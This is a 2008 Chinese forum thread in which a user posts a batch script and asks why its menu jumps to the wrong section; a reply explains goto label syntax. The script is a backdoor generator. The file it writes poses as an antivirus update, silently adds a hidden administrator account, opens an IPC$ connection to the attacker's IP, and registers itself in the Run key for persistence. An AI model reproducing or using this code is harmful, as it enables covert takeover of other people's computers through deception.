Board logo

标题: 灵异的批处理! 吓.... [打印本页]

作者: setarphim     时间: 2008-8-6 15:26    标题: 灵异的批处理! 吓....
论坛终于恢复了,真高兴,今天,我写了一个批处理,有一个很奇怪的现象: ============================================== E项.bat ============================================== @echo off :son echo 所有的设置不能为空! echo. echo 连接端的名字是:ipc.bat echo. set /p szd=连接端生成在[如 E盘就输入E:\]: set /p yip=你电脑的IP: set /p tdl=被连接者登陆本机的帐户名: set /p tdma=他帐户的密码: set /p ndzh=在被连接者新建的用户名: set /p ndma=你远程帐户的密码: echo 配置成功! pause. cls echo 固定配置: echo 对方登陆IP:%yip% 对方登陆帐户:%tdl% 对方帐户密码:%tdma% echo 你在他的电脑上建立的帐户:%ndzh% 帐户密码:%ndma% 帐户属性:管理员 echo ======================= echo 以下是连接端的添加项目. echo ======================= echo . echo z.你的控制端会自动启动.(但开机时弹出黑框) echo q.你的远程帐户是隐藏的. echo w.两者兼备. set /p ndxz=[z.q.w] : if %ndxz% ==z goto :z if %ndxz% ==q goto :q if %ndxz% ==w goto :w ::连接项目的选择项目 ::啊!手麻了.... :z echo 输入连接端你想放在对方的哪里? 如E:\hack\ipc.bat 就输入:E:\hack\ipc.bat echo 一但确定了,你就必须放在那里,否则达不到自动启动的功能. set /p dif=地方路径: set 123=%dif% echo @echo off > %szd%ipc.bat echo echo 连接网络后杀毒软件更新. >> %szd%ipc.bat echo net user %ndzh% %ndma% /add >> %szd%ipc.bat echo net localgroup administrators %ndzh% /add >> %szd%ipc.bat echo echo pause >> %szd%ipc.bat echo echo 杀毒软件正在更新... >> %szd%ipc.bat echo net use \\%yip%\ipc$ "%tdma%"\user:"%tdl%" >> %szd%ipc.bat echo echo 正在修改注册表...... >> %szd%ipc.bat echo echo reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v system /t REG_SZ /d %123% /f >> %szd%ipc.bat echo echo 更新完毕. >> %szd%ipc.bat echo pause >> %szd%ipc.bat echo exit >> %szd%ipc.bat echo 生成成功. :q echo @echo off > %szd%ipc.bat echo echo 连接网络后杀毒软件更新. >> %szd%ipc.bat echo net user %ndzh% %ndma% /add >> %szd%ipc.bat echo net localgroup administrators %ndzh% /add >> %szd%ipc.bat echo echo pause >> %szd%ipc.bat echo echo 杀毒软件正在更新... >> %szd%ipc.bat echo net use \\%yip%\ipc$ "%tdma%"\user:"%tdl%" >> %szd%ipc.bat echo echo 正在修改注册表...... >> %szd%ipc.bat echo echo reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList /v %ndzh% /t reg_dword /d 00000000 /f >> %szd%ipc.bat echo echo 更新完毕. >> %szd%ipc.bat echo pause >> %szd%ipc.bat echo exit >> %szd%ipc.bat echo 生成成功. :w echo @echo off > %szd%ipc.bat echo echo 连接网络后杀毒软件更新. >> %szd%ipc.bat echo net user %ndzh% %ndma% /add >> %szd%ipc.bat echo net localgroup administrators %ndzh% /add >> %szd%ipc.bat echo echo pause >> %szd%ipc.bat echo echo 杀毒软件正在更新... >> %szd%ipc.bat echo net use \\%yip%\ipc$ "%tdma%"\user:"%tdl%" >> %szd%ipc.bat echo echo 正在修改注册表...... >> %szd%ipc.bat echo echo reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v system /t REG_SZ /d %123% /f >> %szd%ipc.bat echo echo reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList /v %ndzh% /t reg_dword /d 00000000 /f >> %szd%ipc.bat echo echo 更新完毕. >> %szd%ipc.bat echo pause >> %szd%ipc.bat echo exit >> %szd%ipc.bat echo 生成成功! 本应按 z 跳到 z 的项下,按 w 跳到 w 的项下,对吧! 可当我按 z 和 w 都会跳到 q 项下!!!! 帮帮我啊!!!

作者: Climbing     时间: 2008-8-7 18:40
goto后面应该直接跟标签名,去掉那个冒号。为了避免不必要的重复,可以给标准加上适当的前缀。 例如:_z _ZZZ if ... goto _zzz ... :_zzz ...